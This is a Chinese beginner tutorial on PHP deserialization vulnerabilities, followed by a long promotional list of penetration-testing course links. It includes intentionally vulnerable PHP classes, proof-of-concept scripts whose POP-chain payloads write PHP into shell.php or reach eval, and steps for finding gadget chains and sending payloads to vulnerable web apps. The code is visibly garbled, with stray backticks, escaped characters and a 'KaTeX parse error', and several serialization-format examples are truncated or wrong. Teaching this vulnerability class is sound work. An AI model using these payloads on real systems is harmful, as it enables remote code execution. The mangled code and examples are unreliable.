php 反序列漏洞初识, (非常详细)从零基础入门到精通,收藏这篇就够了

本文作者:l1nk3r

赠送书籍:《Android应用安全防护和逆向分析》

活动地址:信安之路五月送书活动

在 OWASP TOP10 中,反序列化已经榜上有名,但是究竟什么是反序列化,我觉得应该进下心来好好思考下。我觉得学习的时候,所有的问题都应该问 3 个问题:what、why、how:

what:什么是反序列化,why:为什么会出现反序列化漏洞,how:反序列化漏洞如何利用。

从事安全工作也一年了,也遇到过反序列化漏洞,发现啊,反序列化漏洞真的黑盒很难发现,即使发现了也好难利用。但是有时候反序列化漏洞的危害却挺大的。下面开始进入正题。

什么是序列化

首先这个东西在 PHP 网站中的定义:

所有 php 里面的值都可以使用函数 serialize() 来返回一个包含字节流的字符串来表示。unserialize() 函数能够重新把字符串变回 php 原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

按照我的理解,serialize() 将一个对象转换成一个字符串,unserialize() 将字符串还原为一个对象。

当然从本质上来说,反序列化的数据本身是没有危害的,用户可控数据进行反序列化是存在危害的。

1.PHP 类与对象

首先,要进行序列化之前,需要了解一下 PHP 类与对象的概念,这里我们看个 demo 代码:

<?php ``` ``` class TestClass ``` ``` { ``` ``` // 一个变量 ``` ``` public $variable \= 'This is a string'; ``` ``` // 一个简单的方法 ``` ``` public function PrintVariable() ``` ``` { ``` ``` echo $this\->variable; ``` ``` } ``` ``` } ``` ``` // 创建一个对象 ``` ``` $object \= new TestClass(); ``` ``` // 调用一个方法 ``` ``` $object\->PrintVariable(); ``` ``` ?>

在这个代码中,文件定义了一个 TestClass 类,在类中定义了 $variable 变量,以及函数 PrintVariable。然后实例化这个类并调用它的方法。运行结果如下。

当然,上面的代码是正常情况下的调用。但是 php 中存在一些特殊的类成员在某些特定情况下会自动调用,称之为 magic 函数,magic 函数命名是以符号 __ 开头的。举个例子:

__construct 当一个对象创建时被调用,

__destruct 当一个对象销毁时被调用,

__toString 当一个对象被当作一个字符串被调用。

下面代码中尝试加入上述的三个魔术函数,我们看看结果:

 

<?php ``` ``` class TestClass ``` ``` { ``` ``` // 一个变量 ``` ``` public $variable \= 'This is a string'; ``` ``` // 一个简单的方法 ``` ``` public function PrintVariable() ``` ``` { ``` ``` echo $this\->variable . '
'; ``` ``` } ``` ``` // Constructor ``` ``` public function \_\_construct() ``` ``` { ``` ``` echo '\_\_construct
'; ``` ``` } ``` ``` // Destructor ``` ``` public function \_\_destruct() ``` ``` { ``` ``` echo '\_\_destruct
'; ``` ``` } ``` ``` // Call ``` ``` public function \_\_toString() ``` ``` { ``` ``` return '\_\_toString
'; ``` ``` } ``` ``` } ``` ``` // 创建一个对象 ``` ``` // \_\_construct会被调用 ``` ``` $object \= new TestClass(); ``` ``` // 创建一个方法 ``` ``` $object\->PrintVariable(); ``` ``` // 对象被当作一个字符串 ``` ``` // \_\_toString会被调用 ``` ``` echo $object; ``` ``` // End of PHP script ``` ``` // 脚本结束\_\_destruct会被调用 ``` ``` ?>

总结几个常用魔术方法及触发条件。

__wakeup() //使用 unserialize 时触发

__sleep() //使用 serialize 时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用 isset()empty() 触发

__unset() //在不可访问的属性上使用 unset() 时触发

__toString() //把类当作字符串使用时触发,返回值需要为字符串

__invoke() //当脚本尝试将对象调用为函数时触发

2.PHP序列化基础格式

boolean

 

b:;

b:1; // True

b:0; // False


integer

 

i:;

i:1; // 1

i:-3; // -3


double

 

d:;

d:1.2345600000000001; // 1.23456(php弱类型所造成的四舍五入现象)


NULL

 

N; //NULL


string

 

s::“”;

s"INSOMNIA"; // “INSOMNIA”


array

 

a::{key, value pairs};

a{s"key1";s"value1";s"value2";} // array(“key1” => “value1”, “key2” => “value2”)


3.PHP序列化

php 允许保存一个对象方便以后重用,这个过程被称为序列化。为什么要有序列化这种机制呢?在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。试想,如果为一个脚本中想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容释放掉了,我们要如何操作呢?难道要前一个脚本不断的循环,等待后面脚本调用?这肯定是不现实的。因为这样的操作,在小项目还好,在大项目里是极其浪费资源的。但是如果你将一个对象序列化,那么它就会变成一个字符串,等你需要的时候再通过反序列化转换回变了变量,在进行调用就好了,在这样就剩了资源的使用。

先看个 dome 代码,了解一下 PHP 序列化中的字符串。

 

<?php ``` ``` class User ``` ``` { ``` ``` // 类数据 ``` ``` public $age \= "7"; ``` ``` public $sex \= "man"; ``` ``` public $name \= "Notyeat"; ``` ``` } ``` ``` $example \= new User(); ``` ``` $example\->name \= "John"; ``` ``` $example\->sex \= "woman"; ``` ``` $example\->age \= "18"; ``` ``` echo serialize($example); ``` ``` ?>

解释下这个序列化的字符串

PHP序列化格式如下所示:

 

O:4:“Test”:2:{s:1:“a”;s:5:“Hello”;s:1:“b”;i:20;}


类型:长度:“名字”:类中变量的个数:{类型:长度:“名字”;类型:长度:“值”;…}


类型字母详解:

 

a - array

b - boolean

d - double

i - integer

o - common object

r - reference

s - string

C - custom object

O - class

N - null

R - pointer reference

U - unicode string


然后我们将其反序列化回来看下结果

 

<?php ``` ``` class User ``` ``` { ``` ``` // 类数据 ``` ``` public $age \= "7"; ``` ``` public $sex \= "man"; ``` ``` public $name \= "Notyeat"; ``` ``` } ``` ``` $example \= new User(); ``` ``` $example\->name \= "John"; ``` ``` $example\->sex \= "woman"; ``` ``` $example\->age \= "18"; ``` ``` $test1 \= serialize($example); ``` ``` echo $test1."\\n"; ``` ``` $test \= unserialize($test1); ``` ``` echo $test\->age; ``` ``` ?>

结果:

在序列化的时候其实是有个小注意点:

在这里明明 testflag 是 8 位,为什么 s:10 呢。

原来是:对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上 ‘*’。这些前缀值在任一侧都有空字节。

所以在传入序列化字符串的时候,需要补齐这些空字节。

 

O:4:“test”:1:{s:10:“%00test%00flag”;s:6:“Active”;}


为什么会出现反序列化漏洞

其实这个问题在上面也提到过了,原因在于反序列化的参数可控,且代码存在一定风险。

举个例子看个代码:

 

<?php ``` ``` class A{ ``` ``` var $test \= "demo"; ``` ``` function \_\_destruct(){ ``` ``` echo $this\->test; ``` ``` } ``` ``` } ``` ``` $a \= $\_GET\['test'\]; ``` ``` $a\_unser \= unserialize($a); ``` ``` ?>

这串代码,我们可以看到变量 $a 从 url 中 test 参数获取到内容,并且在反序列化的时候通过 __destruct() 直接将传入的数据不经过任何处理,echo 出来,这里就存在反射型 xss 漏洞了。

在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 “面向属性编程” ,即 POP( Property Oriented Programming)。和二进制漏洞中常用的 ROP 技术类似。在 ROP 中我们往往需要一段初始化 gadgets 来开始我们的整个利用过程,然后继续调用其他 gadgets。在 PHP 反序列化漏洞利用技术 POP 中,对应的初始化 gadgets 就是 __wakeup() 或者是 __destruct() 方法, 在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止。下面列举些在跟进其函数调用过程中需要关注一些很有价值的函数。

1.几个可用的POP链方法

命令执行:

 

exec()

passthru()

popen()

system()


文件操作:

 

file_put_contents()

file_get_contents()

unlink()


如果在跟进程序过程中发现这些函数就要打起精神,一旦这些函数的参数我们能够控制,就有可能出现高危漏洞.

2.POP 链 demo 示例

 

<?php ``` ``` class popdemo ``` ``` { ``` ``` private $data \= "demo\\n"; ``` ``` private $filename \= './demo'; ``` ``` public function \_\_wakeup() ``` ``` { ``` ``` // TODO: Implement \_\_wakeup() method. ``` ``` $this\->save($this\->filename); ``` ``` } ``` ``` public function save($filename) ``` ``` { ``` ``` file\_put\_contents($filename, $this\->data); ``` ``` } ``` ``` } ``` ``` unserialize(file\_get\_contents('./serialized.txt)); ``` ``` ?>

这是一个很简单的示例代码,且这个代码存在反序列化漏洞。该文件还定义了一个 popdemo 类,并且该类实现了 __wakeup 函数,然后在该函数中又调用了 save 函数,且参数对象是文件名。跟进 save 函数,我们看到在该函数中通过调用 file_put_contents 函数,这个函数的 $filenamedata 属性值是从 save 函数中传出来的,并且创建了一个文件。由于 __wakeup() 函数在序列化时自动调用,这里还定义了一个保存文件的函数,在这个反序列化过程中对象的属性值可控。于是这里就存在一个任意文件写入任意文件内容的反序列化漏洞了。这就是所谓的 POP。就是关注整个函数的调用过程中参数的传递情况,找到可利用的点,这和一般的 Web 漏洞没什么区别,只是可控制的值有直接传递给程序的参数转变为了对象中的属性值。

利用 poc:

 

<?php ``` ``` class popdemo ``` ``` { ``` ``` private $data \= "<?php phpinfo();?>\\n";
private $filename \= './poc.php';
public function \_\_wakeup()
{
    // TODO: Implement \_\_wakeup() method.
    $this\->save($this\->filename);
}
public function save($filename)
{
    file\_put\_contents($filename, $this\->data);
}

}

$demo = new popdemo();

echo serialize($demo);

file_put_contents(“./serialized.txt”,serialize($demo));

?>


这里定义了 $data$filename,然后序列化字符串后存储到 serialized.txt 文件中,序列化字符串:

然后运行 demo 代码,会在同目录下生成一个 poc.php

反序列化漏洞的利用

1.利用构造函数等

php 在使用 unserialize() 后会导致 __wakeup()__destruct() 的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在 __wakeup()__destruct() 中,从而当我们控制序列化字符串时可以去直接触发它们。

但是如果在反序列化的过程中,在 __wakeup()__destruct() 不存在可以利用的恶意代码呢。那又该如何呢,其实吧我觉得反序列化漏洞,就是类似于类似于 PWN 中的 ROP,有时候反序列化一个对象时,由它调用的 __wakeup() 中又去调用了其他的对象,由此可以溯源而上,利用一次次的 “gadget” 找到漏洞点。

 

<?php ``` ``` class pocdemo{ ``` ``` function \_\_construct($test){ ``` ``` $fp \= fopen("shell.php","w") ; ``` ``` fwrite($fp,$test); ``` ``` fclose($fp); ``` ``` } ``` ``` } ``` ``` class l1nk3r{ ``` ``` var $test \= '123'; ``` ``` function \_\_wakeup(){ ``` ``` $obj \= new pocdemo($this\->test); ``` ``` } ``` ``` } ``` ``` $test \= file\_get\_contents('./ser.txt'); ``` ``` unserialize($test); ``` ``` require "shell.php"; ``` ``` ?>

这里代码主要是通过 get 方法通过 test 传入序列化好的字符串,然后在反序列化的时候自动调用 __wakeup() 函数,在 __wakeup()函数中通过 new pocdemo() 会自动调用对象 pocdemo 中的 __construct(),从而把 <?php phpinfo(); ?> 写入到 shell.php 中。

poc 代码:

 

<?php ``` ``` class l1nk3r{ ``` ``` var $test \= '<?php phpinfo(); ?>';
function \_\_wakeup(){
    $obj \= new pocdemo($this\->test);
}

}


$ser = new l1nk3r();

KaTeX parse error: Expected group as argument to '\=' at position 10: result \= ̲serialize(ser);

print $result;

file_put_contents(‘./ser.txt’,$result);

?>


然后将这个序列化的字符重新导入到 poc 代码中,反序列化之后,就会生成一个 shell.php,并且内容为 <?php phpinfo(); ?>

2.利用普通成员方法

在反序列化的时候,当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。

 

<?php ``` ``` class l1nk3r { ``` ``` var $test; ``` ``` function \_\_construct() { ``` ``` $this\->test \= new CodeMonster(); ``` ``` } ``` ``` function \_\_destruct() { ``` ``` $this\->test\->action(); ``` ``` } ``` ``` } ``` ``` class CodeMonster { ``` ``` function action() { ``` ``` echo "CodeMonster"; ``` ``` } ``` ``` } ``` ``` class CodeMonster1 { ``` ``` var $test2; ``` ``` function action() { ``` ``` eval($this\->test2); ``` ``` } ``` ``` } ``` ``` $class6 \= new l1nk3r(); ``` ``` unserialize($\_GET\['test'\]); ``` ``` ?>

从代码上来看,来通过 new 实例化一个新的 l1nk3r 对象后,调用 __construct(),其中该函数又 new 了一个新的 CodeMonster 对象;这个对象的功能是定义了 action() 函数,并且打印 CodeMonster。然后结束的时候调用 __destruct(),在 __destruct() 会调用 action(),因此页面会输出 CodeMonster。

但是在代码中,我们看得到 codermaster1 对象中有一个 eval() 函数,这可是危险函数啊,那有什么方法,通过发序列化触发它呢,当然有了。刚刚在 l1nk3r 对象中,new 的是 CodeMonster,如果 new 的是 CodeMonster1,那么自然就会进入 CodeMonster1 中,然后 eval() 函数中的 $test2 可控制,那么自然就可以实现远程代码执行了。

Poc:

 

<?php ``` ``` class l1nk3r { ``` ``` var $test; ``` ``` function \_\_construct() { ``` ``` $this\->test \= new CodeMonster1(); ``` ``` } ``` ``` } ``` ``` class CodeMonster1 { ``` ``` var $test2\='phpinfo();'; ``` ``` } ``` ``` $class6 \= new l1nk3r(); ``` ``` print\_r(serialize($class6)); ``` ``` ?>

生成的序列化字符串:

 

O:6:“l1nk3r”:1:{s:4:“test”;O:11:“CodeMonster1”:1:{s:5:“test2”;s:10:“phpinfo();”;}}


现实中查找反序列化漏洞及构造 exploit 的方法

1.漏洞发现技巧

默认情况下 Composer 会从 Packagist 下载包,那么我们可以通过审计这些包来找到可利用的 POP 链。

找 PHP 链的基本思路.

1、在各大流行的包中搜索 __wakeup()__destruct() 函数.

2、追踪调用过程

3、手工构造并验证 POP 链

4、开发一个应用使用该库和自动加载机制,来测试 exploit.

2.构造 exploit 的思路

1、寻找可能存在漏洞的应用

2、在他所使用的库中寻找 POP gadgets

3、在虚拟机中安装这些库,将找到的POP链对象序列化,在反序列化测试 payload

4、将序列化之后的 payload 发送到有漏洞 web 应用中进行测试.

Refer:

最通俗易懂的 PHP 反序列化分析:

http://www.notyeat.com/2018/03/26/php-unserialize/#0x04-%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90

PHP 反序列化漏洞:

http://paper.tuisec.win/detail/fa497a4e50b5d83

理解 php 反序列化漏洞:

https://blog.youkuaiyun.com/qq_32400847/article/details/53873275

浅谈 php 反序列化漏洞:

https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

PHP 反序列化漏洞成因及漏洞挖掘技巧与案例:

https://www.anquanke.com/post/id/84922

php 反序列化入门:

http://sheldon.xmutsec.com/index.php/2018/02/03/15.html

黑客/网络安全学习路线

对于从来没有接触过黑客/网络安全的同学,目前网络安全、信息安全也是计算机大学生毕业薪资相对较高的学科。

大白也帮大家准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

这也是耗费了大白近四个月的时间,吐血整理,文章非常非常长,觉得有用的话,希望粉丝朋友帮忙点个**「分享」「收藏」「在看」「赞」**

网络安全/渗透测试法律法规必知必会****

今天大白就帮想学黑客/网络安全技术的朋友们入门必须先了解法律法律。

【网络安全零基础入门必知必会】网络安全行业分析报告(01)

【网络安全零基础入门必知必会】什么是黑客、白客、红客、极客、脚本小子?(02)

【网络安全零基础入门必知必会】网络安全市场分类(03)

【网络安全零基础入门必知必会】常见的网站攻击方式(04)

【网络安全零基础入门必知必会】网络安全专业术语全面解析(05)

【网络安全入门必知必会】《中华人民共和国网络安全法》(06)

【网络安全零基础入门必知必会】《计算机信息系统安全保护条例》(07)

【网络安全零基础入门必知必会】《中国计算机信息网络国际联网管理暂行规定》(08)

【网络安全零基础入门必知必会】《计算机信息网络国际互联网安全保护管理办法》(09)

【网络安全零基础入门必知必会】《互联网信息服务管理办法》(10)

【网络安全零基础入门必知必会】《计算机信息系统安全专用产品检测和销售许可证管理办法》(11)

【网络安全零基础入门必知必会】《通信网络安全防护管理办法》(12)

【网络安全零基础入门必知必会】《中华人民共和国国家安全法》(13)

【网络安全零基础入门必知必会】《中华人民共和国数据安全法》(14)

【网络安全零基础入门必知必会】《中华人民共和国个人信息保护法》(15)

【网络安全零基础入门必知必会】《网络产品安全漏洞管理规定》(16)

网络安全/渗透测试linux入门必知必会

【网络安全零基础入门必知必会】什么是Linux?Linux系统的组成与版本?什么是命令(01)

【网络安全零基础入门必知必会】VMware下载安装,使用VMware新建虚拟机,远程管理工具(02)

【网络安全零基础入门必知必会】VMware常用操作指南(非常详细)零基础入门到精通,收藏这一篇就够了(03)

【网络安全零基础入门必知必会】CentOS7安装流程步骤教程(非常详细)零基入门到精通,收藏这一篇就够了(04)

【网络安全零基础入门必知必会】Linux系统目录结构详细介绍(05)

【网络安全零基础入门必知必会】Linux 命令大全(非常详细)零基础入门到精通,收藏这一篇就够了(06)

【网络安全零基础入门必知必会】linux安全加固(非常详细)零基础入门到精通,收藏这一篇就够了(07)

网络安全/渗透测试****计算机网络入门必知必会****

【网络安全零基础入门必知必会】TCP/IP协议深入解析(非常详细)零基础入门到精通,收藏这一篇就够了(01)

【网络安全零基础入门必知必会】什么是HTTP数据包&Http数据包分析(非常详细)零基础入门到精通,收藏这一篇就够了(02)

【网络安全零基础入门必知必会】计算机网络—子网划分、子网掩码和网关(非常详细)零基础入门到精通,收藏这一篇就够了(03)

网络安全/渗透测试入门之HTML入门必知必会

【网络安全零基础入门必知必会】什么是HTML&HTML基本结构&HTML基本使用(非常详细)零基础入门到精通,收藏这一篇就够了1

【网络安全零基础入门必知必会】VScode、PhpStorm的安装使用、Php的环境配置,零基础入门到精通,收藏这一篇就够了2

【网络安全零基础入门必知必会】HTML之编写登录和文件上传(非常详细)零基础入门到精通,收藏这一篇就够了3

网络安全/渗透测试入门之Javascript入门必知必会

【网络安全零基础入门必知必会】Javascript语法基础(非常详细)零基础入门到精通,收藏这一篇就够了(01)

【网络安全零基础入门必知必会】Javascript实现Post请求、Ajax请求、输出数据到页面、实现前进后退、文件上传(02)

网络安全/渗透测试入门之Shell入门必知必会

【网络安全零基础入门必知必会】Shell编程基础入门(非常详细)零基础入门到精通,收藏这一篇就够了(第七章)

网络安全/渗透测试入门之PHP入门必知必会

【网络安全零基础入门】PHP环境搭建、安装Apache、安装与配置MySQL(非常详细)零基础入门到精通,收藏这一篇就够(01)

【网络安全零基础入门】PHP基础语法(非常详细)零基础入门到精通,收藏这一篇就够了(02)

【网络安全零基础入门必知必会】PHP+Bootstrap实现表单校验功能、PHP+MYSQL实现简单的用户注册登录功能(03)

网络安全/渗透测试入门之MySQL入门必知必会

【网络安全零基础入门必知必会】MySQL数据库基础知识/安装(非常详细)零基础入门到精通,收藏这一篇就够了(01)

【网络安全零基础入门必知必会】SQL语言入门(非常详细)零基础入门到精通,收藏这一篇就够了(02)

【网络安全零基础入门必知必会】MySQL函数使用大全(非常详细)零基础入门到精通,收藏这一篇就够了(03)

【网络安全零基础入门必知必会】MySQL多表查询语法(非常详细)零基础入门到精通,收藏这一篇就够了(04)

****网络安全/渗透测试入门之Python入门必知必会

【网络安全零基础入门必知必会】之Python+Pycharm安装保姆级教程,Python环境配置使用指南,收藏这一篇就够了【1】

【网络安全零基础入门必知必会】之Python编程入门教程(非常详细)零基础入门到精通,收藏这一篇就够了(2)

python开发之手写第一个python程序

python开发笔记之变量

python基础语法特征

python开发数据类型

python开发笔记之程序交互

python入门教程之python开发学习笔记基本数据类型

python入门教程之python开发笔记之格式化输出

python入门教程之python开发笔记基本运算符

python入门教程python开发基本流程控制if … else

python入门教程之python开发笔记流程控制之循环

python入门之Pycharm开发工具的使用

python入门教程之python字符编码转换

python入门之python开发字符编码

python入门之python开发基本数据类型数字

python入门python开发基本数据类型字符串

python入门python开发基本数据类型列表

python入门python开发基本数据类型

python入门教程之python开发可变和不可变数据类型和hash

python入门教程python开发字典数据类型

python入门之python开发笔记基本数据类型集合

python开发之collections模块

python开发笔记之三元运算

【网络安全零基础入门必知必会】之10个python爬虫入门实例(非常详细)零基础入门到精通,收藏这一篇就够了(3)

****网络安全/渗透测试入门之SQL注入入门必知必会

【网络安全渗透测试零基础入门必知必会】之初识SQL注入(非常详细)零基础入门到精通,收藏这一篇就够了(1)

【网络安全渗透测试零基础入门必知必会】之SQL手工注入基础语法&工具介绍(2)

【网络安全渗透测试零基础入门必知必会】之SQL注入实战(非常详细)零基础入门到精通,收藏这一篇就够了(3)

【网络安全渗透测试零基础入门必知必会】之SQLmap安装&实战(非常详细)零基础入门到精通,收藏这一篇就够了(4)

【网络安全渗透测试零基础入门必知必会】之SQL防御(非常详细)零基础入门到精通,收藏这一篇就够了(4)

****网络安全/渗透测试入门之XSS攻击入门必知必会

【网络安全渗透测试零基础入门必知必会】之XSS攻击基本概念和原理介绍(非常详细)零基础入门到精通,收藏这一篇就够了(1)

网络安全渗透测试零基础入门必知必会】之XSS攻击获取用户cookie和用户密码(实战演示)零基础入门到精通收藏这一篇就够了(2)

【网络安全渗透测试零基础入门必知必会】之XSS攻击获取键盘记录(实战演示)零基础入门到精通收藏这一篇就够了(3)

【网络安全渗透测试零基础入门必知必会】之xss-platform平台的入门搭建(非常详细)零基础入门到精通,收藏这一篇就够了4

【网络安全渗透测试入门】之XSS漏洞检测、利用和防御机制XSS游戏(非常详细)零基础入门到精通,收藏这一篇就够了5

****网络安全/渗透测试入门文件上传攻击与防御入门必知必会

【网络安全渗透测试零基础入门必知必会】之什么是文件包含漏洞&分类(非常详细)零基础入门到精通,收藏这一篇就够了1

【网络安全渗透测试零基础入门必知必会】之cve实际漏洞案例解析(非常详细)零基础入门到精通, 收藏这一篇就够了2

【网络安全渗透测试零基础入门必知必会】之PHP伪协议精讲(文件包含漏洞)零基础入门到精通,收藏这一篇就够了3

【网络安全渗透测试零基础入门必知必会】之如何搭建 DVWA 靶场保姆级教程(非常详细)零基础入门到精通,收藏这一篇就够了4

【网络安全渗透测试零基础入门必知必会】之Web漏洞-文件包含漏洞超详细全解(附实例)5

【网络安全渗透测试零基础入门必知必会】之文件上传漏洞修复方案6

****网络安全/渗透测试入门CSRF渗透与防御必知必会

【网络安全渗透测试零基础入门必知必会】之CSRF漏洞概述和原理(非常详细)零基础入门到精通, 收藏这一篇就够了1

【网络安全渗透测试零基础入门必知必会】之CSRF攻击的危害&分类(非常详细)零基础入门到精通, 收藏这一篇就够了2

【网络安全渗透测试零基础入门必知必会】之XSS与CSRF的区别(非常详细)零基础入门到精通, 收藏这一篇就够了3

【网络安全渗透测试零基础入门必知必会】之CSRF漏洞挖掘与自动化工具(非常详细)零基础入门到精通,收藏这一篇就够了4

【网络安全渗透测试零基础入门必知必会】之CSRF请求伪造&Referer同源&置空&配合XSS&Token值校验&复用删除5

****网络安全/渗透测试入门SSRF渗透与防御必知必会

【网络安全渗透测试零基础入门必知必会】之SSRF漏洞概述及原理(非常详细)零基础入门到精通,收藏这一篇就够了 1

【网络安全渗透测试零基础入门必知必会】之SSRF相关函数和协议(非常详细)零基础入门到精通,收藏这一篇就够了2

【网络安全渗透测试零基础入门必知必会】之SSRF漏洞原理攻击与防御(非常详细)零基础入门到精通,收藏这一篇就够了3**
**

****网络安全/渗透测试入门XXE渗透与防御必知必会

【网络安全渗透测试零基础入门必知必会】之XML外部实体注入(非常详细)零基础入门到精通,收藏这一篇就够了1

网络安全渗透测试零基础入门必知必会】之XXE的攻击与危害(非常详细)零基础入门到精通,收藏这一篇就够了2

【网络安全渗透测试零基础入门必知必会】之XXE漏洞漏洞及利用方法解析(非常详细)零基础入门到精通,收藏这一篇就够了3

【网络安全渗透测试零基础入门必知必会】之微信XXE安全漏洞处理(非常详细)零基础入门到精通,收藏这一篇就够了4

****网络安全/渗透测试入门远程代码执行渗透与防御必知必会

【网络安全渗透测试零基础入门必知必会】之远程代码执行原理介绍(非常详细)零基础入门到精通,收藏这一篇就够了1

【网络安全零基础入门必知必会】之CVE-2021-4034漏洞原理解析(非常详细)零基础入门到精通,收藏这一篇就够了2

【网络安全零基础入门必知必会】之PHP远程命令执行与代码执行原理利用与常见绕过总结3

【网络安全零基础入门必知必会】之WEB安全渗透测试-pikachu&DVWA靶场搭建教程,零基础入门到精通,收藏这一篇就够了4

****网络安全/渗透测试入门反序列化渗透与防御必知必会

【网络安全零基础入门必知必会】之什么是PHP对象反序列化操作(非常详细)零基础入门到精通,收藏这一篇就够了1

【网络安全零基础渗透测试入门必知必会】之php反序列化漏洞原理解析、如何防御此漏洞?如何利用此漏洞?2

【网络安全渗透测试零基础入门必知必会】之Java 反序列化漏洞(非常详细)零基础入门到精通,收藏这一篇就够了3

【网络安全渗透测试零基础入门必知必会】之Java反序列化漏洞及实例解析(非常详细)零基础入门到精通,收藏这一篇就够了4

【网络安全渗透测试零基础入门必知必会】之CTF题目解析Java代码审计中的反序列化漏洞,以及其他漏洞的组合利用5

网络安全/渗透测试**入门逻辑漏洞必知必会**

【网络安全渗透测试零基础入门必知必会】之一文带你0基础挖到逻辑漏洞(非常详细)零基础入门到精通,收藏这一篇就够了

网络安全/渗透测试入门暴力猜解与防御必知必会

【网络安全渗透测试零基础入门必知必会】之密码安全概述(非常详细)零基础入门到精通,收藏这一篇就够了1

【网络安全渗透测试零基础入门必知必会】之什么样的密码是不安全的?(非常详细)零基础入门到精通,收藏这一篇就够了2

【网络安全渗透测试零基础入门必知必会】之密码猜解思路(非常详细)零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之利用Python暴力破解邻居家WiFi密码、压缩包密码,收藏这一篇就够了4

【网络安全渗透测试零基础入门必知必会】之BurpSuite密码爆破实例演示,零基础入门到精通,收藏这一篇就够了5

【网络安全渗透测试零基础入门必知必会】之Hydra密码爆破工具使用教程图文教程,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之暴力破解medusa,零基础入门到精通,收藏这一篇就够了7

【网络安全渗透测试零基础入门必知必会】之Metasploit抓取密码,零基础入门到精通,收藏这一篇就够了8

Wfuzz:功能强大的web漏洞挖掘工具

****网络安全/渗透测试入门掌握Redis未授权访问漏洞必知必会

【网络安全渗透测试零基础入门必知必会】之Redis未授权访问漏洞,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之Redis服务器被攻击后该如何安全加固,零基础入门到精通,收藏这一篇就够了**
**

网络安全/渗透测试入门掌握**ARP渗透与防御关必知必会**

【网络安全渗透测试零基础入门必知必会】之ARP攻击原理解析,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之ARP流量分析,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之ARP防御策略与实践指南,零基础入门到精通,收藏这一篇就够了

网络安全/渗透测试入门掌握系统权限提升渗透与防御关****必知必会

【网络安全渗透测试零基础入门必知必会】之Windows提权常用命令,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之Windows权限提升实战,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之linux 提权(非常详细)零基础入门到精通,收藏这一篇就够了

网络安全/渗透测试入门掌握Dos与DDos渗透与防御相关****必知必会

【网络安全渗透测试零基础入门必知必会】之DoS与DDoS攻击原理(非常详细)零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之Syn-Flood攻击原理解析(非常详细)零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之IP源地址欺骗与dos攻击,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之SNMP放大攻击原理及实战演示,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之NTP放大攻击原理,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之什么是CC攻击?CC攻击怎么防御?,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之如何防御DDOS的攻击?零基础入门到精通,收藏这一篇就够了

网络安全/渗透测试入门掌握无线网络安全渗透与防御相****必知必会

【网络安全渗透测试零基础入门必知必会】之Aircrack-ng详细使用安装教程,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之aircrack-ng破解wifi密码(非常详细)零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之WEB渗透近源攻击,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之无线渗透|Wi-Fi渗透思路,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之渗透WEP新思路Hirte原理解析,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之WPS的漏洞原理解析,零基础入门到精通,收藏这一篇就够了

网络安全/渗透测试入门掌握木马免杀问题与防御********必知必会

【网络安全渗透测试零基础入门必知必会】之Metasploit – 木马生成原理和方法,零基础入门到精通,收藏这篇就够了

【网络安全渗透测试零基础入门必知必会】之MSF使用教程永恒之蓝漏洞扫描与利用,收藏这一篇就够了

网络安全/渗透测试入门掌握Vulnhub靶场实战********必知必会

【网络安全渗透测试零基础入门必知必会】之Vulnhub靶机Prime使用指南,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之Vulnhub靶场Breach1.0解析,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之vulnhub靶场之DC-9,零基础入门到精通,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之Vulnhub靶机Kioptrix level-4 多种姿势渗透详解,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之Vulnhub靶场PWNOS: 2.0 多种渗透方法,收藏这一篇就够了

网络安全/渗透测试入门掌握社会工程学必知必会

【网络安全渗透测试零基础入门必知必会】之什么是社会工程学?定义、类型、攻击技术,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之社会工程学之香农-韦弗模式,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之社工学smcr通信模型,收藏这一篇就够了

【网络安全渗透测试零基础入门必知必会】之社会工程学之社工步骤整理(附相应工具下载)收藏这一篇就够了

